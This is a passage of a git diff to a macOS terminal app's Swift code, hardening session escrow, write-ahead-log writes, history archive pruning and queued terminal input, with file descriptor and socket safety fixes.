"-escrow-v2.sock" + let sibling = baseURL.deletingLastPathComponent().appendingPathComponent(fileName).path + let parent = baseURL.deletingLastPathComponent().standardizedFileURL.path + guard parent == "/tmp" || parent == "/private/tmp", !perUserTemporaryDirectory.isEmpty else { + return sibling + } + let perUser = URL(fileURLWithPath: perUserTemporaryDirectory, isDirectory: true) + .appendingPathComponent(fileName).path + // sockaddr_un.sun_path is 104 bytes including the terminating NUL. + return perUser.utf8.count < 104 ? perUser : sibling } private static func receiveEscrowAcknowledgement(over fd: Int32, sessionId: String) -> Bool { @@ -1543,7 +1653,11 @@ extension SessionEscrowClient { return .failed } collected.append(chunk) - if receivedFD == nil { receivedFD = chunkFD } + if receivedFD == nil { + receivedFD = chunkFD + } else if let chunkFD { + close(chunkFD) + } case .eof: if let receivedFD { close(receivedFD) } logOutcome("eof") @@ -1638,8 +1752,16 @@ enum SessionEscrowHolder { /// `SessionEscrowPolicy.unclaimedSessionTTL` has elapsed. var drainingStartedAt: Date? /// Set (under `SessionEscrowHolder.registryLock`) to ask an active - /// drain thread to stop after its next bounded read/poll cycle. + /// drain thread to stop after its current read. Set it through + /// `requestStop()`, which also wakes the drain thread's `poll`. var stopRequested = false + /// Self-pipe that wakes the drain thread's `poll` on a stop request + /// instead of waiting out `drainPollIntervalMilliseconds`. Opened only + /// once draining starts (`openWakePipeIfNeeded`), so a held-but-live + /// session costs the holder one fd, not three. -1 until then, or when + /// `pipe()` failed; the drain then falls back to the poll interval. + private(set) var wakeReadFD: Int32 = -1 + private(set) var wakeWriteFD: Int32 = -1 /// Signaled by the drain thread exactly once, right after it has /// actually stopped and flushed its last chunk. A retrieval blocks /// on this (bounded by `SessionEscrowPolicy.retrieveDrainStopTimeout`) @@ -1654,6 +1776,38 @@ enum SessionEscrowHolder { self.childPID = childPID } + /// Opens the stop self-pipe. Idempotent; callers must hold + /// `SessionEscrowHolder.registryLock`. + func openWakePipeIfNeeded() { + guard wakeReadFD < 0 else { return } + var wakePipe: [Int32] = [-1, -1] + guard pipe(&wakePipe) == 0 else { return } + for wakeFD in wakePipe { + _ = UnixDomainFDPassing.setCloseOnExec(on: wakeFD) + let flags = fcntl(wakeFD, F_GETFL, 0) + if flags >= 0 { _ = fcntl(wakeFD, F_SETFL, flags | O_NONBLOCK) } + } + wakeReadFD = wakePipe[0] + wakeWriteFD = wakePipe[1] + } + + /// Asks the drain thread to stop and wakes its `poll`. Callers must + /// hold `SessionEscrowHolder.registryLock`. + func requestStop() { + stopRequested = true + guard wakeWriteFD >= 0 else { return } + var byte: UInt8 = 1 + // Non-blocking: a full pipe already guarantees a wakeup. + _ = write(wakeWriteFD, &byte, 1) + } + + /// Empties the self-pipe after a wakeup (non-blocking reads). + func consumeWakeups() { + guard wakeReadFD >= 0 else { return } + var sink = [UInt8](repeating: 0, count: 64) + while read(wakeReadFD, &sink, sink.count) > 0 {} + } + /// Closes `fd` exactly once, however this session's life ends /// (dedup replacement, genuine end-of-stream, or the `deinit` /// safety net below). Callers other than `deinit` must hold @@ -1679,6 +1833,8 @@ enum SessionEscrowHolder { if !closed { close(fd) } + if wakeReadFD >= 0 { close(wakeReadFD) } + if wakeWriteFD >= 0 { close(wakeWriteFD) } } } @@ -1771,7 +1927,14 @@ enum SessionEscrowHolder { while true { let clientFD = accept(listenFD, nil, nil) guard clientFD >= 0 else { continue } + guard UnixDomainFDPassing.peerIsCurrentUser(clientFD) else { + dilog("escrow.conn", "refused connFD=\(clientFD) reason=peer_uid_mismatch") + close(clientFD) + continue + } + _ = UnixDomainFDPassing.setCloseOnExec(on: clientFD) UnixDomainFDPassing.suppressSigPipe(on: clientFD) + let peerPID = UnixDomainFDPassing.peerPID(clientFD) #if DEBUG dlog("session.escrow.holder.accept connFD=\(clientFD)") #endif @@ -1798,7 +1961,7 @@ enum SessionEscrowHolder { activeConnectionCount -= 1 registryLock.unlock() } - serve(connectionFD: clientFD) + serve(connectionFD: clientFD, peerPID: peerPID) } } } @@ -1812,7 +1975,7 @@ enum SessionEscrowHolder { /// .retrieve` sends one `retrieveRequestType` frame, reads the /// response, and closes -- which this loop sees as an ordinary EOF with /// no locally-registered sessions to drain). - private static func serve(connectionFD: Int32) { + private static func serve(connectionFD: Int32, peerPID: pid_t?) { var timeout = timeval(tv_sec: SessionEscrowPolicy.recvTimeoutSeconds, tv_usec: 0) setsockopt(connectionFD, SOL_SOCKET, SO_RCVTIMEO, &timeout, socklen_t(MemoryLayout.size)) @@ -1842,6 +2005,16 @@ enum SessionEscrowHolder { let now = ProcessInfo.processInfo.systemUptime if SessionEscrowPolicy.isConnectionStale(lastActivitySystemUptime: lastActivity, nowSystemUptime: now) { let elapsed = now - lastActivity + // A missed heartbeat alone does not prove death: App Nap, + // SIGSTOP or a debugger pause stall the app's timer while + // Ghostty still reads the same masters. A dead app always + // closes this socket (close-on-exec), so drain on staleness + // only once the peer pid is gone. + guard SessionEscrowPolicy.shouldDrainOnStaleHeartbeat(peerPID: peerPID) else { + dilog("escrow.conn", "heartbeat_stale_peer_alive connFD=\(connectionFD) peerPID=\(peerPID.map(String.init) ?? "nil") awakeElapsed=\(String(format: "%.1f", elapsed)) sessions=\(registeredSessionIds.count)") + lastActivity = now + continue readLoop + } dilog("escrow.conn", "death connFD=\(connectionFD) reason=heartbeat_stale awakeElapsed=\(String(format: "%.1f", elapsed)) drainedCount=\(registeredSessionIds.count)") break readLoop } @@ -2025,6 +2198,7 @@ enum SessionEscrowHolder { let startedAt = Date() session.isDraining = true session.drainingStartedAt = startedAt + session.openWakePipeIfNeeded() registryLock.unlock() dilog("escrow.drain", "begin session=\(sessionId.prefix(8)) at=\(startedAt.timeIntervalSince1970)") Thread.detachNewThread { @@ -2050,33 +2224,24 @@ enum SessionEscrowHolder { } registryLock.lock() - guard let session = registry[sessionId] else { - registryLock.unlock() - deny(reason: .unknownSession, label: "unknown") - return - } - guard constantTimeTokensEqual(session.token, token) else { - registryLock.unlock() - deny(reason: .tokenMismatch, label: "token_mismatch") - return - } - guard session.isDraining else { - // The escrowing app may genuinely still be alive -- only IT can - // prove otherwise, via EOF or heartbeat staleness on its own - // connection. The reason on the wire tells the (valid-token) - // caller this denial is the retrieve-before-drain race and worth - // retrying briefly, instead of a permanent fallback -- the - // 2026-08-10 mass-drain was exactly that fallback, 4 seconds - // before the drain would have made this same request grantable. + let candidate = registry[sessionId] + let decision = HolderRetrieveDecision.decide( + sessionExists: candidate != nil, + tokenMatches: candidate.map { constantTimeTokensEqual($0.token, token) } ?? false, + isDraining: candidate?.isDraining ?? false + ) + guard case .grant = decision, let session = candidate else { registryLock.unlock() - deny(reason: .notDraining, label: "not_draining") + if case .deny(let reason) = decision { + deny(reason: reason, label: HolderRetrieveDecision.label(for: reason)) + } return } // Remove immediately: no second caller can ever observe this // session id in the registry again, regardless of how the rest of // this function turns out. registry.removeValue(forKey: sessionId) - session.stopRequested = true + session.requestStop() registryLock.unlock() let waitStartedAt = Date() @@ -2160,7 +2325,7 @@ enum SessionEscrowHolder { /// doesn't leak how many leading bytes matched. `EscrowWireFormat /// .tokenSize` is a small (32-byte) constant, so the extra fixed work /// here is negligible. - private static func constantTimeTokensEqual(_ lhs: [UInt8], _ rhs: [UInt8]) -> Bool { + static func constantTimeTokensEqual(_ lhs: [UInt8], _ rhs: [UInt8]) -> Bool { guard lhs.count == rhs.count else { return false } var diff: UInt8 = 0 for i in 0..= 0)") + dlog("session.escrow.holder.drain.start session=\(session.sessionId.prefix(8)) fd=\(session.fd) walPath=\(paths?.walURL.path ?? "nil") startSize=\(currentSize) clearedNonblock=\(currentFlags >= 0)") #endif var buffer = [UInt8](repeating: 0, count: SessionEscrowPolicy.drainReadBufferSize) - var stoppedForRetrieve = false + var outcome = DrainOutcome.closeMaster readLoop: while true { if isStopRequested(session) { - stoppedForRetrieve = true + outcome = .stoppedForRetrieve break readLoop } // Capture admission before reading, so a chunk read around an // off/on transition cannot be written under the newer generation. - let capturePolicy = paths.policyPaths.flatMap { try? SessionScrollbackPolicyStore.read(at: $0) } - - // poll() first, bounded, so a retrieval's `stopRequested` is - // noticed within one poll interval even when the child is - // producing no output at all -- never block indefinitely in a - // bare `read()`. See the file-level "Drain/retrieve - // coordination" doc comment. - var pfd = pollfd(fd: session.fd, events: Int16(POLLIN), revents: 0) - let pollResult = poll(&pfd, 1, SessionEscrowPolicy.drainPollIntervalMilliseconds) + let capturePolicy = capturePaths?.policyPaths.flatMap { try? SessionScrollbackPolicyStore.read(at: $0) } + + // poll() the master and the stop self-pipe together, bounded, + // so a retrieval's `requestStop()` wakes this thread at once and + // the bound only paces WAL syncs and policy re-reads. See the + // file-level "Drain/retrieve coordination" doc comment. + var pollFDs = [ + pollfd(fd: session.fd, events: Int16(POLLIN), revents: 0), + pollfd(fd: session.wakeReadFD, events: Int16(POLLIN), revents: 0), + ] + let pollResult = poll(&pollFDs, nfds_t(pollFDs.count), SessionEscrowPolicy.drainPollIntervalMilliseconds) if pollResult < 0 { let pollErrno = errno if pollErrno == EINTR { continue readLoop } - #if DEBUG - dlog("session.escrow.holder.drain.end session=\(session.sessionId.prefix(8)) reason=poll_error errno=\(pollErrno) totalDrained=\(totalDrained)") - #endif + dilog("escrow.drain", "end session=\(session.sessionId.prefix(8)) reason=poll_error errno=\(pollErrno) totalDrained=\(totalDrained) master=kept") + outcome = drainOutcome(for: .pollFailed) ?? .keepMaster break readLoop } - guard pollResult > 0 else { - // Timed out with nothing readable -- loop back to - // re-check `stopRequested` rather than blocking further. + if pollFDs[1].revents != 0 { + session.consumeWakeups() + } + guard pollFDs[0].revents != 0 else { + // Timed out (or only woken) with nothing readable -- loop + // back to re-check `stopRequested` rather than blocking. let now = Date() - if hasUnsynchronizedWrites, + if hasUnsynchronizedWrites, let paths, now.timeIntervalSince(lastWALSyncAt) >= SessionWALPolicy.walSyncInterval, (try? SessionWALCore.synchronizeWAL(at: paths)) != nil { lastWALSyncAt = now @@ -2436,14 +2617,15 @@ enum SessionEscrowHolder { // this should no longer occur now that O_NONBLOCK is // cleared above, but if that fcntl silently failed for any // reason, treat it as "keep waiting", never as a reason to - // close the fd. EINTR is a plain retry. Anything else is a - // genuine, unrecoverable error on this fd -- stop. + // close the fd. EINTR is a plain retry. Anything else (EIO + // once the slave side is gone) ends the session. if readErrno == EAGAIN || readErrno == EWOULDBLOCK || readErrno == EINTR { continue readLoop } #if DEBUG dlog("session.escrow.holder.drain.end session=\(session.sessionId.prefix(8)) reason=error errno=\(readErrno) totalDrained=\(totalDrained)") #endif + outcome = drainOutcome(for: .readFailed) ?? .closeMaster break readLoop } guard n > 0 else { @@ -2454,22 +2636,29 @@ enum SessionEscrowHolder { #if DEBUG dlog("session.escrow.holder.drain.end session=\(session.sessionId.prefix(8)) reason=eof totalDrained=\(totalDrained)") #endif + outcome = drainOutcome(for: .endOfStream) ?? .closeMaster break readLoop } + guard let walPaths = capturePaths, let capturePolicy, capturePolicy.enabled else { continue readLoop } let chunk = Data(buffer.prefix(n)) - guard let capturePolicy, capturePolicy.enabled else { continue readLoop } let now = Date() let shouldSynchronize = now.timeIntervalSince(lastWALSyncAt) >= SessionWALPolicy.walSyncInterval - guard let appendResult = try? SessionWALCore.append( - chunk, - to: paths, - synchronize: shouldSynchronize, - capturedGeneration: capturePolicy.generation - ) else { - #if DEBUG - dlog("session.escrow.holder.drain.end session=\(session.sessionId.prefix(8)) reason=wal_append_failed totalDrained=\(totalDrained)") - #endif + let appendResult: SessionWALCore.AppendResult + do { + appendResult = try SessionWALCore.append( + chunk, + to: walPaths, + synchronize: shouldSynchronize, + capturedGeneration: capturePolicy.generation + ) + } catch { + dilog("escrow.drain", "capture_off session=\(session.sessionId.prefix(8)) reason=wal_append_failed error=\(error) totalDrained=\(totalDrained) master=kept") + guard let failureOutcome = drainOutcome(for: .walAppendFailed) else { + capturePaths = nil + continue readLoop + } + outcome = failureOutcome break readLoop } if appendResult.didSuppress { continue readLoop } @@ -2488,14 +2677,42 @@ enum SessionEscrowHolder { // Check again right after finishing this chunk so a retrieval // that arrived mid-read doesn't wait a full extra poll cycle. if isStopRequested(session) { - stoppedForRetrieve = true + outcome = .stoppedForRetrieve break readLoop } } - if hasUnsynchronizedWrites { + if hasUnsynchronizedWrites, let paths { try? SessionWALCore.synchronizeWAL(at: paths) } - endDraining(session: session, stoppedForRetrieve: stoppedForRetrieve) + endDraining(session: session, outcome: outcome) + } + + /// How a drain thread ended. Decides what happens to the master. + enum DrainOutcome: Equatable { + /// A retrieval or expiry asked to stop; the waiter owns the fd next. + case stoppedForRetrieve + /// The drain cannot continue, but the child may still be alive: keep + /// the master in the registry so it stays retrievable (and expirable). + case keepMaster + /// The child is gone: close the master and forget the session. + case closeMaster + } + + /// Faults the drain loop can hit after it started. + enum DrainFault { + case walAppendFailed, pollFailed, readFailed, endOfStream + } + + /// Pure decision seam for the drain loop. `nil` means "keep draining + /// without capture". Only a master-side end of stream or read error + /// closes the master: a WAL write failure (disk full, EIO) or a `poll` + /// failure must never SIGHUP the escrowed child. + static func drainOutcome(for fault: DrainFault) -> DrainOutcome? { + switch fault { + case .walAppendFailed: return nil + case .pollFailed: return .keepMaster + case .readFailed, .endOfStream: return .closeMaster + } } private static func isStopRequested(_ session: HeldSession) -> Bool { @@ -2504,19 +2721,25 @@ enum SessionEscrowHolder { return session.stopRequested } - /// Common drain exit bookkeeping. `stoppedForRetrieve: true` means a - /// retrieval asked this thread to stop -- the fd must be left open and - /// untouched (`handleRetrieveRequest` is the one waiting on - /// `drainStoppedSemaphore` and owns what happens to the fd next). - /// `stoppedForRetrieve: false` means a genuine end-of-stream/error/setup - /// failure -- the child is gone (or this session was never usable), so - /// this IS the final close, and the session is removed from the - /// registry so a stray later retrieve cleanly denies instead of - /// finding a stale entry. - private static func endDraining(session: HeldSession, stoppedForRetrieve: Bool) { - if stoppedForRetrieve { + /// Common drain exit bookkeeping. `.stoppedForRetrieve` means a + /// retrieval (or expiry) asked this thread to stop -- the fd must be + /// left open and untouched (the caller waiting on + /// `drainStoppedSemaphore` owns what happens to the fd next). + /// `.keepMaster` leaves the fd open and registered for the same reason. + /// `.closeMaster` means a genuine end-of-stream or master read error -- + /// the child is gone, so this IS the final close, and the session is + /// removed from the registry so a stray later retrieve cleanly denies + /// instead of finding a stale entry. + private static func endDraining(session: HeldSession, outcome: DrainOutcome) { + switch outcome { + case .stoppedForRetrieve, .keepMaster: + // `keepMaster` leaves the session registered and draining, with + // no thread reading it: a later retrieve or expiry consumes this + // signal immediately instead of timing out. session.drainStoppedSemaphore.signal() return + case .closeMaster: + break } registryLock.lock() session.markClosedIfNeeded() diff --git a/Sources/SessionPersistence.swift b/Sources/SessionPersistence.swift index 7da6872ab..dffd90657 100644 --- a/Sources/SessionPersistence.swift +++ b/Sources/SessionPersistence.swift @@ -566,10 +566,7 @@ enum SessionPersistenceStore { fileURL: URL, limit: Int ) -> (snapshot: AppSessionSnapshot, filename: String)? { - let archiveSuffix = "\(sanitizedBundleIdentifier(Bundle.main.bundleIdentifier)).json" - let candidates = historyFileURLs(fileURL: fileURL) - .filter { $0.lastPathComponent.split(separator: "-", maxSplits: 2).last == Substring(archiveSuffix) } - .prefix(max(0, limit)) + let candidates = ownedHistoryFileURLs(fileURL: fileURL).prefix(max(0, limit)) for entry in candidates { guard let data = boundedSnapshotData(at: entry), let snapshot = decodeSnapshot(from: data), @@ -652,7 +649,8 @@ enum SessionPersistenceStore { .appendingPathComponent("session-history", isDirectory: true) } - /// Newest-first list of archived snapshot files, or `[]` if none exist yet. + /// Newest-first list of archived snapshot files from every bundle, or `[]` if none exist + /// yet. Manual browsing keeps other bundles' archives visible on purpose. static func historyFileURLs( fileURL: URL? = nil, scanLimit: Int = historyDirectoryScanLimit @@ -661,6 +659,29 @@ enum SessionPersistenceStore { return historyEntries(in: historyDirectory, scanLimit: scanLimit).entries } + /// Newest-first list of the archives written by `bundleIdentifier`. `session-history/` is + /// shared by production, tagged and debug builds, so automatic choices (`latest`, startup + /// fallback, pruning) must only ever see the running bundle's own archives. + static func ownedHistoryFileURLs( + fileURL: URL? = nil, + scanLimit: Int = historyDirectoryScanLimit, + bundleIdentifier: String? = Bundle.main.bundleIdentifier + ) -> [URL] { + let suffix = historyArchiveSuffix(bundleIdentifier: bundleIdentifier) + return historyFileURLs(fileURL: fileURL, scanLimit: scanLimit) + .filter { isHistoryArchive($0, suffix: suffix) } + } + + /// The `.json` tail of an archive filename (`-.json`). + static func historyArchiveSuffix(bundleIdentifier: String? = Bundle.main.bundleIdentifier) -> String { + "\(sanitizedBundleIdentifier(bundleIdentifier)).json" + } + + private static func isHistoryArchive(_ url: URL, suffix: String) -> Bool { + // The timestamp holds exactly one dash; bundle ids may contain more. + url.lastPathComponent.split(separator: "-", maxSplits: 2).last == Substring(suffix) + } + /// Decodes an archived (or live) snapshot file's bytes without enforcing the current /// schema version, so a caller can inspect `version`/`cleanShutdown` on an older file /// before deciding whether it is restorable. @@ -704,7 +725,8 @@ enum SessionPersistenceStore { now: Date = Date(), maxHistoryEntries: Int = SessionPersistencePolicy.maxSnapshotHistoryEntries, historyScanObserver: ((HistoryScanResult) -> Void)? = nil, - includeScrollback: Bool = true + includeScrollback: Bool = true, + bundleIdentifier: String? = Bundle.main.bundleIdentifier ) -> Bool { guard let fileURL = fileURL ?? defaultSnapshotFileURL(), let historyDirectory = historyDirectoryURL(fileURL: fileURL), @@ -723,9 +745,10 @@ enum SessionPersistenceStore { return false } + let archiveSuffix = historyArchiveSuffix(bundleIdentifier: bundleIdentifier) let duplicateScan = historyEntries(in: historyDirectory, scanLimit: historyDirectoryScanLimit) historyScanObserver?(duplicateScan) - if let newestEntry = duplicateScan.entries.first, + if let newestEntry = duplicateScan.entries.first(where: { isHistoryArchive($0, suffix: archiveSuffix) }), let newestData = boundedSnapshotData(at: newestEntry), newestData == data { return false @@ -733,7 +756,7 @@ enum SessionPersistenceStore { let attributes = try? FileManager.default.attributesOfItem(atPath: fileURL.path) let modifiedAt = (attributes?[.modificationDate] as? Date) ?? now - let filename = "\(historyTimestampFormatter.string(from: modifiedAt))-\(sanitizedBundleIdentifier(Bundle.main.bundleIdentifier)).json" + let filename = "\(historyTimestampFormatter.string(from: modifiedAt))-\(archiveSuffix)" let destination = historyDirectory.appendingPathComponent(filename, isDirectory: false) // Stage the copy beside the destination and swap it in, rather than deleting the @@ -764,7 +787,7 @@ enum SessionPersistenceStore { return false } - let pruneScan = pruneHistory(in: historyDirectory, keeping: maxHistoryEntries) + let pruneScan = pruneHistory(in: historyDirectory, keeping: maxHistoryEntries, archiveSuffix: archiveSuffix) historyScanObserver?(pruneScan) return true } @@ -805,9 +828,11 @@ enum SessionPersistenceStore { } @discardableResult - private static func pruneHistory(in directory: URL, keeping maxEntries: Int) -> HistoryScanResult { + private static func pruneHistory(in directory: URL, keeping maxEntries: Int, archiveSuffix: String) -> HistoryScanResult { let scan = historyEntries(in: directory, scanLimit: historyDirectoryScanLimit) - for staleEntry in scan.entries.dropFirst(max(0, maxEntries)) { + // Per bundle: a debug or tagged launch must never evict production's archives. + let ownEntries = scan.entries.filter { isHistoryArchive($0, suffix: archiveSuffix) } + for staleEntry in ownEntries.dropFirst(max(0, maxEntries)) { try? FileManager.default.removeItem(at: staleEntry) } return scan diff --git a/Sources/SessionWALStore.swift b/Sources/SessionWALStore.swift index f010df0f7..762e6f9c4 100644 --- a/Sources/SessionWALStore.swift +++ b/Sources/SessionWALStore.swift @@ -550,6 +550,7 @@ enum SessionWALCore { case cannotOpenLock case cannotLock case cannotOpenWAL + case cannotWriteWAL(Error) case cannotCommitMeta case cannotCommitFrame } @@ -646,12 +647,19 @@ enum SessionWALCore { guard let handle = try? FileHandle(forWritingTo: paths.walURL) else { throw CoreError.cannotOpenWAL } - handle.seekToEndOfFile() - handle.write(data) - if synchronize || didRotate { - handle.synchronizeFile() + defer { try? handle.close() } + // Throwing FileHandle APIs only: the legacy non-throwing + // seek/write/sync methods raise an Objective-C exception on + // ENOSPC or EIO, which no Swift `catch` can stop. + do { + _ = try handle.seekToEnd() + try handle.write(contentsOf: data) + if synchronize || didRotate { + try handle.synchronize() + } + } catch { + throw CoreError.cannotWriteWAL(error) } - handle.closeFile() currentSize += Int64(data.count) } @@ -947,10 +955,14 @@ enum SessionWALCore { guard let handle = try? FileHandle(forWritingTo: nextURL) else { throw CoreError.cannotCommitMeta } - handle.truncateFile(atOffset: 0) - handle.write(data) - handle.synchronizeFile() - handle.closeFile() + do { + defer { try? handle.close() } + try handle.truncate(atOffset: 0) + try handle.write(contentsOf: data) + try handle.synchronize() + } catch { + throw CoreError.cannotCommitMeta + } guard atomicRename(from: nextURL, to: paths.metaURL) else { throw CoreError.cannotCommitMeta } @@ -961,8 +973,12 @@ enum SessionWALCore { guard let handle = try? FileHandle(forWritingTo: paths.walURL) else { throw CoreError.cannotOpenWAL } - handle.synchronizeFile() - handle.closeFile() + defer { try? handle.close() } + do { + try handle.synchronize() + } catch { + throw CoreError.cannotWriteWAL(error) + } } private static func fileSize(at url: URL) -> Int64 { @@ -1002,6 +1018,9 @@ private final class SessionWALWriter { var lastMetaWriteAt: Date = .distantPast var lastWALSyncAt: Date = .distantPast var hasUnsynchronizedWALWrites = false + /// Set after the first failed WAL append is logged, so a full disk + /// produces one diagnostics line per surface, not one per tick. + var hasLoggedAppendFailure = false /// Incremented every time `wal.log` is rotated to `wal.log.1`. Recorded /// alongside a captured frame's WAL offset so restore can tell whether a /// rotation happened after the frame was captured (see the file-level @@ -1615,12 +1634,23 @@ final class SessionWALStore { let data = Data(capture.bytes) let shouldSynchronize = forceSync || date.timeIntervalSince(writer.lastWALSyncAt) >= SessionWALPolicy.walSyncInterval - guard let result = try? SessionWALCore.append( - data, - to: writer.paths, - synchronize: shouldSynchronize, - capturedGeneration: capture.generation - ), !result.didSuppress else { return } + let result: SessionWALCore.AppendResult + do { + result = try SessionWALCore.append( + data, + to: writer.paths, + synchronize: shouldSynchronize, + capturedGeneration: capture.generation + ) + } catch { + // Skip this chunk (disk full, EIO); the next tick tries again. + if !writer.hasLoggedAppendFailure { + writer.hasLoggedAppendFailure = true + dilog("session.wal", "append_failed surface=\(writer.context.surfaceId.prefix(8)) bytes=\(data.count) error=\(error)") + } + return + } + guard !result.didSuppress else { return } writer.currentWalSize = result.currentWalSize writer.walGeneration = result.walGeneration diff --git a/Sources/TerminalSurface.swift b/Sources/TerminalSurface.swift index 204804380..ae1ff3744 100644 --- a/Sources/TerminalSurface.swift +++ b/Sources/TerminalSurface.swift @@ -216,12 +216,16 @@ final class TerminalSurface: Identifiable, ObservableObject { private enum PendingSocketInput { case text(Data) + /// Text delivered through the key-text path (`sendInput`), not as a paste. + case keyText(String) case key(PendingKeyEvent) var estimatedBytes: Int { switch self { case .text(let data): return data.count + case .keyText(let text): + return max(text.utf8.count, 1) case .key(let event): return max(event.label.utf8.count, 1) } @@ -411,7 +415,6 @@ final class TerminalSurface: Identifiable, ObservableObject { @Published var searchState: SearchState? = nil { didSet { if let searchState { - hostedView.cancelFocusRequest() #if DEBUG dlog("find.searchState created tab=\(tabId.uuidString.prefix(5)) surface=\(id.uuidString.prefix(5))") #endif @@ -564,8 +567,23 @@ final class TerminalSurface: Identifiable, ObservableObject { /// Surfaces gated under the *current* generation, so /// `clearSessionRestoreGateAndFlushPendingSurfaces(generation:)` can nudge /// exactly the surfaces belonging to the restore pass it is closing out. - /// Weak: a surface torn down mid-restore must not be kept alive here. - private static var surfacesAwaitingRestoreSettle = NSHashTable.weakObjects() + /// Weak: a surface torn down mid-restore must not be kept alive here. A + /// Swift `weak` box, not `NSHashTable.weakObjects()`, which does not + /// reliably weak-store this non-NSObject class (see + /// `TerminalSurfaceRegistry`). + private struct WeakRestoreSettleBox { + weak var surface: TerminalSurface? + } + private static var surfacesAwaitingRestoreSettle: [WeakRestoreSettleBox] = [] + + private static func addAwaitingRestoreSettle(_ surface: TerminalSurface) { + surfacesAwaitingRestoreSettle.removeAll { $0.surface == nil || $0.surface === surface } + surfacesAwaitingRestoreSettle.append(WeakRestoreSettleBox(surface: surface)) + } + + private static func removeAwaitingRestoreSettle(_ surface: TerminalSurface) { + surfacesAwaitingRestoreSettle.removeAll { $0.surface == nil || $0.surface === surface } + } /// Called by `Workspace+Persistence.restoreSessionSnapshot` after /// `applySessionDividerPositions` has run and one additional main-queue @@ -575,9 +593,10 @@ final class TerminalSurface: Identifiable, ObservableObject { /// pass's surfaces on the fallback-timer ceiling. static func clearSessionRestoreGateAndFlushPendingSurfaces(generation: Int) { settlingRestorePassCount = max(0, settlingRestorePassCount - 1) - let pending = surfacesAwaitingRestoreSettle.allObjects.filter { $0.gatedRestoreGeneration == generation } + let pending = surfacesAwaitingRestoreSettle.compactMap(\.surface) + .filter { $0.gatedRestoreGeneration == generation } for surface in pending { - surfacesAwaitingRestoreSettle.remove(surface) + removeAwaitingRestoreSettle(surface) } for surface in pending { surface.isGatedForSessionRestoreSettle = false @@ -612,6 +631,7 @@ final class TerminalSurface: Identifiable, ObservableObject { // forever; see `reviveSeedFallbackMaxAttempts`'s doc comment. self.isGatedForSessionRestoreSettle = false self.gatedRestoreGeneration = nil + Self.removeAwaitingRestoreSettle(self) } self.seedRevivedScrollbackIfPending(trigger: "fallback-timer") } @@ -1141,9 +1161,9 @@ final class TerminalSurface: Identifiable, ObservableObject { let timestamp = ISO8601DateFormatter().string(from: Date()) let line = "[\(timestamp)] \(message)\n" if let handle = FileHandle(forWritingAtPath: surfaceLogPath) { - handle.seekToEndOfFile() - handle.write(Data(line.utf8)) - handle.closeFile() + _ = try? handle.seekToEnd() + try? handle.write(contentsOf: Data(line.utf8)) + try? handle.close() } else { _ = FileManager.default.createFile(atPath: surfaceLogPath, contents: line.data(using: .utf8)) } @@ -1155,9 +1175,9 @@ final class TerminalSurface: Identifiable, ObservableObject { let timestamp = ISO8601DateFormatter().string(from: Date()) let line = "[\(timestamp)] \(message)\n" if let handle = FileHandle(forWritingAtPath: sizeLogPath) { - handle.seekToEndOfFile() - handle.write(Data(line.utf8)) - handle.closeFile() + _ = try? handle.seekToEnd() + try? handle.write(contentsOf: Data(line.utf8)) + try? handle.close() } else { _ = FileManager.default.createFile(atPath: sizeLogPath, contents: line.data(using: .utf8)) } @@ -1819,7 +1839,7 @@ final class TerminalSurface: Identifiable, ObservableObject { if TerminalSurface.isSessionRestoreSettling { isGatedForSessionRestoreSettle = true gatedRestoreGeneration = TerminalSurface.currentSessionRestoreGeneration - TerminalSurface.surfacesAwaitingRestoreSettle.add(self) + TerminalSurface.addAwaitingRestoreSettle(self) } // Bounded fallback: covers a surface created already at its // final size, where no further `updateSize` call ever lands to @@ -1923,7 +1943,8 @@ final class TerminalSurface: Identifiable, ObservableObject { } /// Issue #182 slice 1 escrow trigger (`Sources/SessionEscrow.swift`). - /// Reads the raw pty master fd and `dup()`s it -- both on the main + /// Reads the raw pty master fd and duplicates it (`F_DUPFD_CLOEXEC`, + /// so the copy never leaks into spawned children) -- both on the main /// actor, matching the cost class of the sibling `child_pid`/ /// `pty_path` accessors called just above -- then hands the dup off to /// `SessionEscrowClient` on its own background queue for the actual @@ -1932,7 +1953,7 @@ final class TerminalSurface: Identifiable, ObservableObject { /// surface only ever attempts this once regardless of how many /// `resolveSessionWALIdentity` retries follow. Never touches the /// ghostty-owned fd itself: `ghostty_surface_pty_master_fd` does not - /// dup or transfer ownership, so `dup()` here is required before the + /// dup or transfer ownership, so a duplicate here is required before the /// fd can safely outlive this surface. /// Tells the escrow holder to drop this session, but only when the /// surface is going away because the user closed it for good. @@ -1990,7 +2011,7 @@ final class TerminalSurface: Identifiable, ObservableObject { guard !hasAttemptedSessionEscrow else { return } hasAttemptedSessionEscrow = true guard let childPID = Int32(exactly: descriptor.childPID) else { return } - let dupedFD = dup(descriptor.masterFD) + let dupedFD = fcntl(descriptor.masterFD, F_DUPFD_CLOEXEC, 0) guard dupedFD >= 0 else { return } let surfaceId = id.uuidString let walWorkingDirectory = workingDirectory @@ -2021,7 +2042,7 @@ final class TerminalSurface: Identifiable, ObservableObject { hasAttemptedSessionEscrow = true let rawMasterFD = ghostty_surface_pty_master_fd(surface) guard rawMasterFD >= 0 else { return } - let dupedFD = dup(rawMasterFD) + let dupedFD = fcntl(rawMasterFD, F_DUPFD_CLOEXEC, 0) guard dupedFD >= 0 else { return } SessionEscrowClient.shared.escrow( surfaceId: surfaceId, @@ -2522,36 +2543,72 @@ final class TerminalSurface: Identifiable, ObservableObject { /// Send text with control characters (Return, Tab, etc.) delivered as key /// events so the shell processes them, while regular text is sent via the /// normal key-text path. Mirrors `TerminalController.sendSocketText`. - func sendInput(_ text: String) { - guard let surface = surface else { return } + /// + /// Before the runtime surface exists the input is queued, like `sendText`, + /// and flushed in order once it starts. Returns false only when queueing + /// had to evict older pending input to stay under the pending-input cap. + @discardableResult + func sendInput(_ text: String) -> Bool { + var segments: [PendingSocketInput] = [] var bufferedText = "" var previousWasCR = false + func flushBuffered() { + guard !bufferedText.isEmpty else { return } + segments.append(.keyText(bufferedText)) + bufferedText = "" + } + func appendKey(_ keycode: UInt32, label: String) { + flushBuffered() + segments.append(.key(PendingKeyEvent(keycode: keycode, mods: GHOSTTY_MODS_NONE, label: label))) + } for scalar in text.unicodeScalars { switch scalar.value { case 0x0A: // \n — skip if preceded by \r (already sent Return) if !previousWasCR { - flushText(&bufferedText, surface: surface) - sendKeyEvent(surface: surface, keycode: 0x24) // kVK_Return + appendKey(0x24, label: "enter") // kVK_Return } previousWasCR = false case 0x0D: - flushText(&bufferedText, surface: surface) - sendKeyEvent(surface: surface, keycode: 0x24) // kVK_Return + appendKey(0x24, label: "enter") // kVK_Return previousWasCR = true case 